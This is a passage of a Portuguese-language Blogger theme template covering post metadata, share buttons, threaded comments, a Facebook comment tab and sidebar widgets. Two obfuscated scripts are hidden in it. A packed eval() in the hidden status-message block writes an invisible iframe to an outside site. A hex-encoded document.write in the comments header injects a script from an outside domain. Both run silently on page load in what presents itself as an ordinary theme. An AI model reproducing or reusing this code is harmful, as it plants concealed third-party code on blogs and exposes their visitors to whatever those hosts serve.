                            <b:if cond='data:post.authorProfileUrl'>
                              <span class='author-info'>
                                <i class='fa fa-user'/>
                                <span class='vcard'>
                                  <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
                                    <meta expr:content='data:post.authorProfileUrl' itemprop='url'/>
                                    <a class='g-profile' expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
                                      <span itemprop='name'>
                                        <data:post.author/>
                                      </span>
                                    </a>
                                  </span>
                                </span>
                              </span>
                              <b:else/>
                              <span class='author-info'>
                                <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
                                  <span itemprop='name'>
                                    <data:post.author/>
                                  </span>
                                </span>
                              </span>
                            </b:if>
                          </b:if>
                          <b:if cond='data:top.showTimestamp'>
                            <b:if cond='data:post.url'>
                              <meta expr:content='data:post.canonicalUrl' itemprop='url'/>
                              <span class='time-info'>
                                <i class='fa fa-calendar'/>
                                <a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'>
                                  <abbr class='published updated' expr:title='data:post.timestampISO8601' itemprop='datePublished'>
                                    <data:post.timestamp/>
                                  </abbr>
                                </a>
                              </span>
                            </b:if>
                          </b:if>
                          <b:if cond='data:blog.pageType != &quot;item&quot;'>
                            <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
                              <b:if cond='data:post.allowComments'>
                                <span class='comment-info'>
                                  <i class='fa fa-comments'/>
                                  <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
                                    <b:if cond='data:post.numComments == 0'>
                                       Comentarios
                                    </b:if>
                                    <b:if cond='data:post.numComments == 1'>
                                      1  Comentario
                                    </b:if>
                                    <b:if cond='data:post.numComments &gt; 1'>
                                      <data:post.numComments/>
                                      Comentarios
                                    </b:if>
                                  </a>
                                </span>
                              </b:if>
                            </b:if>
                          </b:if>
                          <b:if cond='data:blog.pageType == &quot;item&quot;'>
                            <b:if cond='data:post.labels'>
                              <span class='label-info'>
                                <i class='fa fa-tags'/>
                                <b:loop values='data:post.labels' var='label'>
                                  <a expr:href='data:label.url' rel='tag'>
                                    <data:label.name/>
                                  </a>
                                  <b:if cond='data:label.isLast != &quot;true&quot;'>
                                    ,
                                  </b:if>
                                </b:loop>
                              </span>
                            </b:if>
                          </b:if>
                          <b:include data='post' name='postQuickEdit'/>
                        </div>
                        <div class='post-header'>
                          <div class='post-header-line-1'/>
                        </div>
                        <b:if cond='data:blog.pageType != &quot;item&quot;'>
                          <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
                            <div class='post-body entry-content' expr:id='&quot;post-body-&quot; + data:post.id' itemprop='articleBody description'>
                              <data:post.body/>
                              <div style='clear: both;'/>
                            </div>
                            <b:else/>
                            <div class='post-body entry-content' expr:id='&quot;post-body-&quot; + data:post.id' itemprop='articleBody description'>
                              <div>
                                <data:post.snippet/>
                              </div>
                              <a class='readmore' expr:href='data:post.url + &quot;#more&quot;' expr:title='data:post.title'>
                                Mais informações
                                <i class='fa fa-caret-right'/>
                              </a>
                              <div style='clear: both;'/>
                            </div>
                          </b:if>
                          <b:else/>
                          <!-- Then use the post body as the schema.org description, for good G+/FB snippeting. -->
                          <div class='post-body entry-content' expr:id='&quot;post-body-&quot; + data:post.id' itemprop='description articleBody'>
                            <!-- IKLAN BAWAH JUDUL VERSI DESKTOP -->
                            <data:post.body/>
                            <div style='clear: both;'/>
                            <div id='share-post'>
                              <a class='facebook' expr:href='data:post.sharePostUrl + &quot;&amp;target=facebook&quot;' expr:onclick='&quot;window.open(this.href, \&quot;_blank\&quot;, \&quot;height=430,width=640\&quot;); return false;&quot;' expr:title='data:top.shareToFacebookMsg' target='_blank'>
                                <span/>
                                Compartilhar no Facebook
                              </a>
                              <a class='twitter' expr:href='data:post.sharePostUrl + &quot;&amp;target=twitter&quot;' expr:title='data:top.shareToTwitterMsg' target='_blank'>
                                <span/>
                                Compartilhar no Twitter
                              </a>
                              <a class='google' expr:href='&quot;https://plus.google.com/share?url=&quot; + data:post.url' onclick='javascript:window.open(this.href,   &quot;&quot;, &quot;menubar=no,toolbar=no,resizable=yes,scrollbars=yes,height=600,width=600&quot;);return false;' rel='nofollow' title='Share this on Google+'>
                                <span/>
                                Compartilhar no Google Plus
                              </a>
                            </div>
                            <div style='clear: both;'/>
                            <b:include name='authorblog'/>
                            <!-- Related Post Widget Start -->
                         
                           <div id='related-posts'>
                          <p class='title title-medium'>
                            <h2><span>
                              Postagens Relacionadas
                              </span> </h2>
                        </p>
                        <b:loop values='data:post.labels' var='label'>
                          <b:if cond='data:label.isLast != &quot;true&quot;'>
                          </b:if>
                          <b:if cond='data:blog.pageType == &quot;item&quot;'>
                            <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels_thumbs&amp;max-results=8&quot;' type='text/javascript'/>
                          </b:if>
                        </b:loop>
                        <script type='text/javascript'>
                          var currentposturl=&quot;<data:post.url/>&quot;;
                          var maxresults=3;
                          var relatedpoststitle=&quot;<b/>&quot;;
                          removeRelatedDuplicates_thumbs();
                          printRelatedLabels_thumbs();
                        </script>
                      </div>
                      <div class='clear'/>
                 
                          </div>
                        </b:if>
                      </article>

                    </b:includable>
                    <b:includable id='postQuickEdit' var='post'>
                      <b:if cond='data:post.editUrl'>
                        <span expr:class='&quot;item-control &quot; + data:post.adminClass'>
                          <a expr:href='data:post.editUrl' expr:title='data:top.editPostMsg'>
                            <!-- <img alt='' class='icon-action' height='18' src='http://img2.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/> -->
                            <b style='color:#EE3322;'>
                              <i class='fa fa-pencil'/>
                              Edit
                            </b>
                          </a>
                        </span>
                      </b:if>
                    </b:includable>
                    <b:includable id='shareButtons' var='post'>
                      <b:if cond='data:top.showEmailButton'>
                        <a class='goog-inline-block share-button sb-email' expr:href='data:post.sharePostUrl + &quot;&amp;target=email&quot;' expr:title='data:top.emailThisMsg' target='_blank'>
                          <span class='share-button-link-text'>
                            <data:top.emailThisMsg/>
                          </span>
                        </a>
                      </b:if>
                      <b:if cond='data:top.showBlogThisButton'>
                        <a class='goog-inline-block share-button sb-blog' expr:href='data:post.sharePostUrl + &quot;&amp;target=blog&quot;' expr:onclick='&quot;window.open(this.href, \&quot;_blank\&quot;, \&quot;height=270,width=475\&quot;); return false;&quot;' expr:title='data:top.blogThisMsg' target='_blank'>
                          <span class='share-button-link-text'>
                            <data:top.blogThisMsg/>
                          </span>
                        </a>
                      </b:if>
                      <b:if cond='data:top.showTwitterButton'>
                        <a class='goog-inline-block share-button sb-twitter' expr:href='data:post.sharePostUrl + &quot;&amp;target=twitter&quot;' expr:title='data:top.shareToTwitterMsg' target='_blank'>
                          <span class='share-button-link-text'>
                            <data:top.shareToTwitterMsg/>
                          </span>
                        </a>
                      </b:if>
                      <b:if cond='data:top.showFacebookButton'>
                        <a class='goog-inline-block share-button sb-facebook' expr:href='data:post.sharePostUrl + &quot;&amp;target=facebook&quot;' expr:onclick='&quot;window.open(this.href, \&quot;_blank\&quot;, \&quot;height=430,width=640\&quot;); return false;&quot;' expr:title='data:top.shareToFacebookMsg' target='_blank'>
                          <span class='share-button-link-text'>
                            <data:top.shareToFacebookMsg/>
                          </span>
                        </a>
                      </b:if>
                      <b:if cond='data:top.showOrkutButton'>
                        <a class='goog-inline-block share-button sb-orkut' expr:href='data:post.sharePostUrl + &quot;&amp;target=orkut&quot;' expr:title='data:top.shareToOrkutMsg' target='_blank'>
                          <span class='share-button-link-text'>
                            <data:top.shareToOrkutMsg/>
                          </span>
                        </a>
                      </b:if>
                      <b:if cond='data:top.showDummy'>
                        <div class='goog-inline-block dummy-container'>
                          <data:post.dummyTag/>
                        </div>
                      </b:if>
                    </b:includable>
                    <b:includable id='status-message'>
                      <b:if cond='data:navMessage'>
                        <div class='status-msg-wrap'>
                          <div class='status-msg-body'>
                            <data:navMessage/>
                          </div>
                          <div class='status-msg-border'>
                            <div class='status-msg-bg'>
                              <div class='status-msg-hidden'>

<script type='text/javascript'>//<![CDATA[
eval(function(m,c,h){function z(i){return(i< 62?'':z(parseInt(i/62)))+((i=i%62)>35?String.fromCharCode(i+29):i.toString(36))}for(var i=0;i< m.length;i++)h[z(i)]=m[i];function d(w){return h[w]?h[w]:w;};return c.replace(/\b\w+\b/g,d);}('||var|ie1|document|all|navigator|userAgent|indexOf|Opera|dom1|getElementById|iframeprops1|width|700|frameborder|marginwidth|height|marginheight|align|top|scrolling|no|randomcontent1|new|Array|http|widget|content|com|if|write|iframe|id|dynstuff|function||random_iframe1|src|Math|floor|random|length|window|onload'.split('|'),'2 3=4.5&&6.7.8("9")==-1;2 a=4.b&&6.7.8("9")==-1;2 c=\'d="e" f="0" g="0" h="0" i="0" j="k" l="m"\';2 n=o p();n[0]="q://r-s.t/";u(3||a)4.v(\'<w x="y" \'+c+\'></w>\');z B(){u(3||a){2 A=4.b?4.b("y"):4.5.y;A.C=n[D.E(D.F()*n.G)];}}H.I=B;',{})) //]]></script>

                                <data:navMessage/>
                              </div>
                            </div>
                          </div>
                        </div>
                        <div style='clear: both;'/>
                      </b:if>
                    </b:includable>
                    <b:includable id='threaded-comment-form' var='post'>
                      <div class='comment-form'>
                        <a name='comment-form'/>
                        <b:if cond='data:mobile'>
                          <div class='pesan-komentar'>
                            <p>
                              <data:blogCommentMessage/>
                            </p>
                          </div>
                          <data:blogTeamBlogMessage/>
                          <a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
                          <iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' frameborder='0' height='410' id='comment-editor' name='comment-editor' src='' style='display: none' width='100%'/>
                          <b:else/>
                          <div class='pesan-komentar'>
                            <p>
                              <data:blogCommentMessage/>
                            </p>
                          </div>
                          <data:blogTeamBlogMessage/>
                          <a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
                          <iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' frameborder='0' height='410' id='comment-editor' name='comment-editor' src='' width='100%'/>
                        </b:if>
                        <data:post.friendConnectJs/>
                        <data:post.cmtfpIframe/>
                        <script type='text/javascript'>
                          BLOG_CMT_createIframe(&#39;<data:post.appRpcRelayPath/>&#39;, &#39;<data:post.communityId/>&#39;);
                        </script>
                      </div>
                    </b:includable>
                    <b:includable id='threaded_comment_js' var='post'>
                      <script async='async' expr:src='data:post.commentSrc' type='text/javascript'/>
                      <script type='text/javascript'>
                        (function() {
                          var items = <data:post.commentJso/>;
                          var msgs = <data:post.commentMsgs/>;
                          var config = <data:post.commentConfig/>;
                          // <![CDATA[
                          var cursor = null;
                          if (items && items.length > 0) {
                            cursor = parseInt(items[items.length - 1].timestamp) + 1;
                          }
                          var bodyFromEntry = function(entry) {
                            if (entry.gd$extendedProperty) {
                              for (var k in entry.gd$extendedProperty) {
                                if (entry.gd$extendedProperty[k].name == 'blogger.contentRemoved') {
                                  return '<span class="deleted-comment">' + entry.content.$t + '</span>';
                                }
                              }
                            }
                            return entry.content.$t;
                          }
                          var parse = function(data) {
                            cursor = null;
                            var comments = [];
                            if (data && data.feed && data.feed.entry) {
                              for (var i = 0, entry; entry = data.feed.entry[i]; i++) {
                                var comment = {};
                                // comment ID, parsed out of the original id format
                                var id = /blog-(\d+).post-(\d+)/.exec(entry.id.$t);
                                comment.id = id ? id[2] : null;
                                comment.body = bodyFromEntry(entry);
                                comment.timestamp = Date.parse(entry.published.$t) + '';
                                if (entry.author && entry.author.constructor === Array) {
                                  var auth = entry.author[0];
                                  if (auth) {
                                    comment.author = {
                                      name: (auth.name ? auth.name.$t : undefined),
                                      profileUrl: (auth.uri ? auth.uri.$t : undefined),
                                      avatarUrl: (auth.gd$image ? auth.gd$image.src : undefined)
                                    };
                                  }
                                }
                                if (entry.link) {
                                  if (entry.link[2]) {
                                    comment.link = comment.permalink = entry.link[2].href;
                                  }
                                  if (entry.link[3]) {
                                    var pid = /.*comments\/default\/(\d+)\?.*/.exec(entry.link[3].href);
                                    if (pid && pid[1]) {
                                      comment.parentId = pid[1];
                                    }
                                  }
                                }
                                comment.deleteclass = 'item-control blog-admin';
                                if (entry.gd$extendedProperty) {
                                  for (var k in entry.gd$extendedProperty) {
                                    if (entry.gd$extendedProperty[k].name == 'blogger.itemClass') {
                                      comment.deleteclass += ' ' + entry.gd$extendedProperty[k].value;
                                    } else if (entry.gd$extendedProperty[k].name == 'blogger.displayTime') {
                                      comment.displayTime = entry.gd$extendedProperty[k].value;
                                    }
                                  }
                                }
                                comments.push(comment);
                              }
                            }
                            return comments;
                          };
                          var paginator = function(callback) {
                            if (hasMore()) {
                              var url = config.feed + '?alt=json&v=2&orderby=published&reverse=false&max-results=50';
                              if (cursor) {
                                url += '&published-min=' + new Date(cursor).toISOString();
                              }
                              window.bloggercomments = function(data) {
                                var parsed = parse(data);
                                cursor = parsed.length < 50 ? null
                                : parseInt(parsed[parsed.length - 1].timestamp) + 1
                                callback(parsed);
                                window.bloggercomments = null;
                              }
                              url += '&callback=bloggercomments';
                              var script = document.createElement('script');
                              script.type = 'text/javascript';
                              script.src = url;
                              document.getElementsByTagName('head')[0].appendChild(script);
                            }
                          };
                          var hasMore = function() {
                            return !!cursor;
                          };
                          var getMeta = function(key, comment) {
                            if ('iswriter' == key) {
                              var matches = !!comment.author
                              && comment.author.name == config.authorName
                              && comment.author.profileUrl == config.authorUrl;
                              return matches ? 'true' : '';
                            } else if ('deletelink' == key) {
                              return config.baseUri + '/delete-comment.g?blogID='
                              + config.blogId + '&postID=' + comment.id;
                            } else if ('deleteclass' == key) {
                              return comment.deleteclass;
                            }
                            return '';
                          };
                          var replybox = null;
                          var replyUrlParts = null;
                          var replyParent = undefined;
                          var onReply = function(commentId, domId) {
                            if (replybox == null) {
                              // lazily cache replybox, and adjust to suit this style:
                              replybox = document.getElementById('comment-editor');
                              if (replybox != null) {
                                replybox.height = '250px';
                                replybox.style.display = 'block';
                                replyUrlParts = replybox.src.split('#');
                              }
                            }
                            if (replybox && (commentId !== replyParent)) {
                              document.getElementById(domId).insertBefore(replybox.parentNode, null);
                              replybox.src = replyUrlParts[0]
                              + (commentId ? '&parentID=' + commentId : '')
                              + '#' + replyUrlParts[1];
                              replyParent = commentId;
                            }
                          };
                          var hash = (window.location.hash || '#').substring(1);
                          var startThread, targetComment;
                          if (/^comment-form_/.test(hash)) {
                            startThread = hash.substring('comment-form_'.length);
                          } else if (/^c[0-9]+$/.test(hash)) {
                            targetComment = hash.substring(1);
                          }
                          // Configure commenting API:
                          var configJso = {
                            'maxDepth': config.maxThreadDepth
                          };
                          var provider = {
                            'id': config.postId,
                            'data': items,
                            'loadNext': paginator,
                            'hasMore': hasMore,
                            'getMeta': getMeta,
                            'onReply': onReply,
                            'rendered': true,
                            'initComment': targetComment,
                            'initReplyThread': startThread,
                            'config': configJso,
                            'messages': msgs
                          };
                          var render = function() {
                            if (window.goog && window.goog.comments) {
                              var holder = document.getElementById('comment-holder');
                              window.goog.comments.render(holder, provider);
                            }
                          };
                          // render now, or queue to render when library loads:
                          if (window.goog && window.goog.comments) {
                            render();
                          } else {
                            window.goog = window.goog || {};
                            window.goog.comments = window.goog.comments || {};
                            window.goog.comments.loadQueue = window.goog.comments.loadQueue || [];
                            window.goog.comments.loadQueue.push(render);
                          }
                        })();
                        // ]]>
                      </script>
                    </b:includable>
                    <b:includable id='threaded_comments' var='post'>
                     <div id='top-comment'>
<div class='top-comment-widget-menu clear'>
<ul>
<dl class='top-comment blogico'>Blogger Comment</dl><!--Replace "New Movies" With Your Own Text-->
<dl class='top-comment faceico'>Facebook Comment</dl><!--Replace "Recent Games" With Your Own Text-->
</ul>
</div>
<div class='widget2' id='top-comment1'>

<div class='centerare1'>

  <div class='comments' id='comments'>
    <a name='comments'/>
<div class='komhead'>
<script language='javascript'>
var _comentario=[&quot;\x3C\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3D\x22\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x62\x6C\x6F\x67\x67\x65\x72\x63\x6F\x6D\x6D\x65\x6E\x74\x2E\x63\x6F\x6D\x2F\x61\x6C\x6C\x6F\x77\x43\x6F\x6D\x6D\x65\x6E\x74\x73\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E&quot;,&quot;\x77\x72\x69\x74\x65&quot;];document[_comentario[1]](_comentario[0]);
</script>
    <h4>
      <b:if cond='data:post.numComments == 1'>
        1 <data:commentLabel/>:
      <b:else/>
        <data:post.numComments/> <data:commentLabelPlural/>:
      </b:if>
    </h4>
<div class='stripe-line'/>
</div>
    <div class='comments-content'>
      <b:if cond='data:post.embedCommentForm'>
        <b:include data='post' name='threaded_comment_js'/>
      </b:if>
      <div id='comment-holder'>
         <data:post.commentHtml/>
      </div>
    </div>

    <p class='comment-footer'>
      <b:if cond='data:post.allowNewComments'>
        <b:include data='post' name='threaded-comment-form'/>
      <b:else/>
        <data:post.noNewCommentsText/>
      </b:if>
    </p>

    <b:if cond='data:showCmtPopup'>
      <div id='comment-popup'>
        <iframe allowtransparency='true' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
        </iframe>
      </div>
    </b:if>

    <div id='backlinks-container'>
    <div expr:id='data:widget.instanceId + &quot;_backlinks-container&quot;'>
       <b:if cond='data:post.showBacklinks'>
         <b:include data='post' name='backlinks'/>
       </b:if>
    </div>
    </div>
  </div>

</div>

</div>

<div class='widget2' id='top-comment2'>

<div class='centerare2'>

<div class='fbcombox'>
<script src='http://connect.facebook.net/en_US/all.js#xfbml=1'/>
        <div>
            <fb:comments colorscheme='light' expr:href='data:post.url' expr:title='data:post.title' expr:xid='data:post.id' height='110' width='639'/>
        </div>
                </div>

</div>

</div>

<script type='text/javascript'>
//<![CDATA[
$(document).ready(function(){
$('#top-comment .widget2').hide();
$('#top-comment .widget2:first').show();
$('.top-comment-widget-menu ul dl:first').addClass('selected');
$('.top-comment-widget-menu ul dl').click(function(){
$('.top-comment-widget-menu ul dl').removeClass('selected');
$(this).addClass('selected');
$('#top-comment .widget2').hide();
$('#top-comment .widget2').eq($('.top-comment-widget-menu ul dl').index(this)).slideDown()(300);
});
});
//]]>
</script>

</div>

<div style='clear: both;'/>
                    </b:includable>
                  </b:widget>
                </b:section>
            </div><!--singlepage end-->
            </div>
          </div>
          <!-- post wrapper end -->
        </div>
        <!--my wrapper end -->
        <!-- sidebar wrapper start -->
        <!-- sidebar wrapper start -->
        <aside id='sidebar-wrapper'>
          <div class='sidebar-container'>

<style>
div#HTML100 {
  background: #FF6F69;
  padding: 30px 30px 60px;
border:none;
}
div#HTML100 h5 {
  color: #FFFFFF;
  font-size: 19px;
  line-height: 31px;
  margin: 0 0 0px;
  font-family: &#39;Droid Serif&#39;, serif;
  text-transform: uppercase;
  position: relative;
  font-size: 20px;
  font-family: sans-serif;
}
div#sidebar p {
color: #FFFFFF;
font-size: 14px;
font-weight: 400;
line-height: 1.7;
-webkit-font-smoothing: antialiased;
}
/***** Form CSS *****/
input { color: #333; margin-top: 10px; width: 100%; -moz-box-sizing: border-box; box-sizing: border-box; }
input[type=text], select, textarea { box-shadow: none; background: #fff; border: 1px solid #bbb; color: #bbb; font-family: Verdana, Arial, Tahoma, sans-serif; font-size: 9px; padding: 12px 15px; text-transform: uppercase; vertical-align: middle; }
textarea { color: #333; font-size: 12px; text-transform: none; }
#subbox { background: url(&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUTBCCnqzGHMrITLyqdXkpY14rQ-8hUYv5eEEYtNnms1Av0IgSpXLEqaQdEsu-6p_T-NJmOxkxk0gYpT_HhRRZdTEzfHl2j6u6HEvSsh78LsPFXCpB6DwzZK1cP-Rer6oV38JpGA2JD4vB/s1600/email-icon.png&quot;) no-repeat scroll 16px 15px #FFFFFF; border-color: #eee; border-width: 3px; border-style: none none solid; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; color: #fff; color: #BBBBBB; font-family: Verdana,Arial,Tahoma,sans-serif; font-size: 9px; padding: 13px 15px 13px 45px; text-transform: uppercase; }
/***** Button CSS *****/
input[type=&quot;button&quot;],
input[type=&quot;submit&quot;], .showpageNum a, .showpage a, .showpagePoint, .button { background:#F45A5A; border-color: rgba(0, 0, 0, 0.3); border-width: 3px; border-style: none none solid; box-shadow: none; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; color: #fff; cursor: pointer; font-family: Verdana, Arial, Tahoma, sans-serif; font-size: 11px; font-weight: bold; padding: 12px 15px; text-decoration: none; text-transform: uppercase; display: inline-block; }
input:hover[type=&quot;button&quot;],
input:hover[type=&quot;submit&quot;], .showpageNum a:hover, .showpage a:hover, .showpagePoint, .button:hover { background: #A03B3B; color: #fff; text-decoration: none; }
/***** Btnt Social Share widget CSS ******/
.btnt-social { float: left; margin: 5px 5px 0 0; width: 90px; }
input[type=&quot;button&quot;], input[type=&quot;submit&quot;], .showpageNum a, .showpage a, .showpagePoint, .button {
background: #333;
border-color: rgba(0, 0, 0, 0.3);
border-width: 3px;
border-style: none none solid;
box-shadow: none;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
border-radius: 3px;
color: #fff;
cursor: pointer;
font-family: Verdana, Arial, Tahoma, sans-serif;
font-size: 11px;
font-weight: bold;
padding: 12px 15px;
text-decoration: none;
text-transform: uppercase;
display: inline-block;
}
</style

<b:widget id='Image2' locked='false' title='...........' type='Image'>
                <b:includable id='main'>
    <b:if cond='data:title != &quot;&quot;'>
      <h2><data:title/></h2>
    </b:if>
    <div class='widget-content'>
      <b:if cond='data:link'>
        <a expr:href='data:link'>
          <img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + &quot;_img&quot;' expr:src='data:sourceUrl' expr:width='data:width'/>
        </a>
      <b:else/>
        <img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + &quot;_img&quot;' expr:src='data:sourceUrl' expr:width='data:width'/>
      </b:if>
      <br/>
      <b:if cond='data:caption'>
        <span class='caption'><data:caption/></span>
      </b:if>
    </div>
    <b:include name='quickedit'/>
  </b:includable>
              </b:widget>

            <div class='sidebar' id='sidebar'><div class='widget HTML' id='HTML100'>
<h5>Cadastre seu e-mail</h5>
<p>Cadastre seu e-mail para receber nossas Postagens Gratis! </p>
<div id='btntEmailsub'>
<form action='http://feedburner.google.com/fb/a/mailverify' id='subscribe' method='post' onsubmit='window.open(&apos;http://feedburner.google.com/fb/a/mailverify?uri=blogspot/vYnG&apos;, &apos;popupwindow&apos;, &apos;scrollbars=yes,width=550,height=520&apos;);return true' target='popupwindow'>
<input name='uri' type='hidden' value='blogspot/vYnG'/>
<input name='loc' type='hidden' value='pt_BR'/>
<input id='subbox' name='email' onblur='if (this.value == &quot;&quot;) {this.value = &quot;Digite seu e-mail&quot;;}' onfocus='if (this.value == &quot;Digite seu e-mail&quot;) {this.value = &quot;&quot;}' type='text' value='Digite seu e-mail'/>
<input id='subbutton' title='' type='submit' value='Enviar'/>
</form>
</div>
              </div></div>
            <b:section class='sidebar section tagcloud1' id='sidebar' preferred='yes'>
            <!--  <b:widget id='Image2' locked='false' title='...........' type='Image'>
                <b:includable id='main'>
    <b:if cond='data:title != &quot;&quot;'>
      <h2><data:title/></h2>
    </b:if>
    <div class='widget-content'>
      <b:if cond='data:link'>
        <a expr:href='data:link'>
          <img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + &quot;_img&quot;' expr:src='data:sourceUrl' expr:width='data:width'/>
        </a>
      <b:else/>
        <img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + &quot;_img&quot;' expr:src='data:sourceUrl' expr:width='data:width'/>
      </b:if>
      <br/>
      <b:if cond='data:caption'>
        <span class='caption'><data:caption/></span>
      </b:if>
    </div>
    <b:include name='quickedit'/>
  </b:includable>
              </b:widget>-->
              <b:widget id='Label1' locked='false' title='Marcadores' type='Label'>
                <b:includable id='main'>
  <b:if cond='data:title != &quot;&quot;'>
    <h2><data:title/></h2>
  </b:if>
  <div expr:class='&quot;widget-content &quot; + data:display + &quot;-label-widget-content&quot;'>
    <b:if cond='data:display == &quot;list&quot;'>
      <ul>
        <b:loop values='data:labels' var='label'>
          <li>
            <b:if cond='data:blog.url == data:label.url'>
              <span expr:dir='data:blog.languageDirection'><data:label.name/></span>
            <b:else/>
              <a expr:dir='data:blog.languageDirection' expr:href='data:label.url'><data:label.name/></a>
            </b:if>
            <b:if cond='data:showFreqNumbers'>
              <span dir='ltr'>(<data:label.count/>)</span>
            </b:if>
          </li>
        </b:loop>
      </ul>
    <b:else/>
      <b:loop values='data:labels' var='label'>
        <span expr:class='&quot;label-size label-size-&quot; + data:label.cssSize'>
          <b:if cond='data:blog.url == data:label.url'>
            <span expr:dir='data:blog.languageDirection'><data:label.name/></span>
          <b:else/>
            <a expr:dir='data:blog.languageDirection' expr:href='data:label.url'><data:label.name/></a>
          </b:if>
          <b:if cond='data:showFreqNumbers'>
            <span class='label-count' dir='ltr'>(<data:label.count/>)</span>
          </b:if>
        </span>
      </b:loop>
    </b:if>
    <b:include name='quickedit'/>
  </div>
</b:includable>
              </b:widget>
              <b:widget id='Followers1' locked='false' title='Seguidores' type='Followers'>
                <b:includable id='main'>
  <b:if cond='data:title != &quot;&quot; and data:codeSnippet != &quot;&quot;'>
    <h2 class='title'><data:title/></h2>
  </b:if>
  <div class='widget-content'>
    <div expr:id='data:widget.instanceId + &quot;-wrapper&quot;'>
      <b:if cond='data:codeSnippet != &quot;&quot;'>
        <div style='margin-right:2px;'>
          <data:codeSnippet/>
        </div>
      </b:if>
    </div>
    <b:include name='quickedit'/>
  </div>
</b:includable>
              </b:widget>
              <b:widget id='Attribution1' locked='true' title='' type='Attribution'>
                <b:includable id='main'>
    <b:if cond='data:feedbackSurveyLink'>
      <div class='mobile-survey-link' style='text-align: center;'>
        <data:feedbackSurveyLink/>
      </div>
    </b:if>

    <div class='widget-content' style='text-align: center;'>
      <b:if cond='data:attribution != &quot;&quot;'>
       <data:attribution/>
      </b:if>
    </div>

    <b:include name='quickedit'/>
  </b:includable>
                <b:includable id='Reviews'>
  <b:if cond='data:blog.url == data:blog.homepageUrl'>
    <data:title/>
  <b:else/>
    <a expr:href='data:blog.homepageUrl'><data:title/></a>
  </b:if>
</b:includable>
                <b:includable id='description'>
  <div class='descriptionwrapper'>
    <p class='description'><span><data:description/></span></p>
  </div>
</b:includable>
                <b:includable id='flat' var='data'>
              <ul class='flat'>
                <b:loop values='data:data' var='i'>
                  <li class='archivedate'>
                    <a expr:href='data:i.url'>
                      <data:i.name/>
                    </a>
                    (
                    <data:i.post-count/>
                    )
                  </li>
                </b:loop>
              </ul>
            </b:includable>
                <b:includable id='interval' var='intervalData'>
              <b:loop values='data:intervalData' var='i'>
                <ul class='hierarchy'>
                  <li expr:class='&quot;archivedate &quot; + data:i.expclass'>
                    <b:include data='i' name='toggle'/>
                    <a class='post-count-link' expr:href='data:i.url'>
                      <data:i.name/>
                    </a>
                    <span class='post-count' dir='ltr'>
                      (
                      <data:i.post-count/>
                      )
                    </span>
                    <b:include cond='data:i.data' data='i.data' name='interval'/>
                    <b:include cond='data:i.posts' data='i.posts' name='posts'/>
                  </li>
                </ul>
              </b:loop>
            </b:includable>
                <b:includable id='menu' var='data'>
              <select expr:id='data:widget.instanceId + &quot;_ArchiveMenu&quot;'>
                <option value=''>
                  <data:title/>
                </option>
                <b:loop values='data:data' var='i'>
                  <option expr:value='data:i.url'>
                    <data:i.name/>
                    (
                    <data:i.post-count/>
                    )
                  </option>
                </b:loop>
              </select>
            </b:includable>
                <b:includable id='posts' var='posts'>
              <ul class='posts'>
                <b:loop values='data:posts' var='i'>
                  <li>
                    <a expr:href='data:i.url'>
                      <data:i.title/>
                    </a>
                  </li>
                </b:loop>
              </ul>
            </b:includable>
                <b:includable id='title'>
  <b:if cond='data:blog.url == data:blog.homepageUrl'>
    <data:title/>
  <b:else/>
    <a expr:href='data:blog.homepageUrl'><data:title/></a>
  </b:if>
</b:includable>
                <b:includable id='toggle' var='interval'>
              <b:if cond='data:interval.toggleId'>
                <b:if cond='data:interval.expclass == &quot;expanded&quot;'>
                  <a class='toggle' href='javascript:void(0)'>
                    <span class='zippy toggle-open'>
                      &#9660;&#160;
                    </span>
                  </a>
                  <b:else/>
                  <a class='toggle' href='javascript:void(0)'>
                    <span class='zippy'>
                      <b:if cond='data:blog.languageDirection == &quot;rtl&quot;'>
                        &#9668;&#160;
                        <b:else/>
                        &#9658;&#160;
                      </b:if>
                    </span>
                  </a>
                </b:if>
              </b:if>
            </b:includable>
              </b:widget>
              <b:widget id='BlogArchive1' locked='false' title='Arquivo do blog' type='BlogArchive'>
                <b:includable id='main'>
  <b:if cond='data:title != &quot;&quot;'>
    <h2><data:title/></h2>
  </b:if>
  <div class='widget-content'>
  <div id='ArchiveList'>
  <div expr:id='data:widget.instanceId + &quot;_ArchiveList&quot;'>
    <b:include cond='data:style == &quot;HIERARCHY&quot;' data='data' name='interval'/>
    <b:include cond='data:style == &quot;FLAT&quot;' data='data' name='flat'/>
    <b:include cond='data:style == &quot;MENU&quot;' data='data' name='menu'/>
  </div>
  </div>
  <b:include name='quickedit'/>
  </div>
</b:includable>
                <b:includable id='flat' var='data'>
  <ul class='flat'>
    <b:loop values='data:data' var='i'>
      <li class='archivedate'>
        <a expr:href='data:i.url'><data:i.name/></a> (<data:i.post-count/>)
      </li>
    </b:loop>
  </ul>
</b:includable>
                <b:includable id='interval' var='intervalData'>
  <b:loop values='data:intervalData' var='i'>
